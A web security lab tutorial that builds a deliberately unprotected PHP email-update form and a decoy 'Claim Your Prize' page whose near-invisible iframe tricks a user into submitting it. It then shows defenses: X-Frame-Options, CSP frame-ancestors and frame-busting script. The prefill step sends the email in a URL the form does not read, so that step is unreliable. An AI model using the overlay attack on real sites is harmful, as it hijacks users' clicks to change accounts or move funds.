Objective
Learn how to exploit Clickjacking vulnerabilities by embedding hidden iframes over legitimate web pages to trick users into performing unintended actions. Understand how to mitigate this risk using proper security headers and UI defenses.
Scenario
You are assessing a web application with sensitive features, such as updating account settings. Due to a lack of proper frame protections, an attacker can embed the web page inside a malicious site using iframes and trick users into clicking on hidden buttons, leading to unauthorized actions like changing the victim’s email address or transferring funds.
Lab Setup
Prerequisites:
- Basic knowledge of HTML and web security.
- XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
- A code editor (e.g., VSCode, Sublime Text).
Step 1: Create the Vulnerable Web Application
- PHP Script for Account Settings (Vulnerable)
- Create a file
settings.php:<?php if (isset($_POST['update'])) { $new_email = $_POST['email']; echo "<h2>Email updated to: $new_email</h2>"; } ?> <h2>Update Email Address</h2> <form method="POST" action=""> New Email: <input type="email" name="email" required><br> <button type="submit" name="update">Update Email</button> </form>
- Create a file
- Running the Application
- Start the Apache server.
- Place
settings.phpin the web server’s root directory (htdocsfor XAMPP). - Open
http://localhost/settings.phpin your browser.
- Attacker’s Malicious Page
- Create a file
attack.html:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Claim Your Prize!</title> <style> iframe { position: absolute; top: 0; left: 0; width: 500px; height: 500px; opacity: 0.01; z-index: 10; } button { position: relative; z-index: 5; width: 200px; height: 50px; font-size: 18px; } </style> </head> <body> <h1>Click to Claim Your Prize!</h1> <button>Claim Now</button> <iframe src="http://localhost/settings.php"></iframe> </body> </html>
- Create a file
Exploitation Steps
Step 1: Performing the Clickjacking Attack
- Open
attack.htmlin the browser. - Click the visible Claim Now button.
- Expected Result:
- The hidden iframe overlays the button, and the user unknowingly submits the form on
settings.php, changing their email address.
- The hidden iframe overlays the button, and the user unknowingly submits the form on
Step 2: Automating the Exploit
- Modify the iframe in
attack.htmlto prefill the email field:<iframe src="http://localhost/[email protected]"></iframe> - Expected Result:
- Clicking the button updates the victim’s email to
[email protected]without their knowledge.
- Clicking the button updates the victim’s email to
Solution and Prevention
Problem Analysis
- The application does not prevent embedding in iframes, making it vulnerable to clickjacking.
Fixing the Vulnerability
- Set
X-Frame-OptionsHeader- Add the following header to
settings.phpto block iframe embedding:header("X-Frame-Options: DENY"); - Alternatively, to allow only the same origin:
header("X-Frame-Options: SAMEORIGIN");
- Add the following header to
- Use Content Security Policy (CSP)
- Implement CSP to restrict frame embedding:
header("Content-Security-Policy: frame-ancestors 'self';");
- Implement CSP to restrict frame embedding:
- Add Frame Busting Scripts (Legacy Support)
- Include JavaScript to prevent framing:
if (window.top !== window.self) { window.top.location = window.self.location; }
- Include JavaScript to prevent framing:
- Use UI Defenses
- Apply visual indicators for sensitive actions (e.g., CAPTCHA, re-authentication).
Testing After Fix
- Reload the
attack.htmlpage. - Expected Result:
- The iframe is blocked or broken, preventing the clickjacking attack.
Conclusion
In this lab, you exploited Clickjacking via Iframe Embedding to perform unauthorized actions by tricking a user into clicking hidden elements. You also learned how to mitigate this vulnerability by implementing security headers like X-Frame-Options, using Content Security Policies (CSP), and employing UI defenses.
0 Comments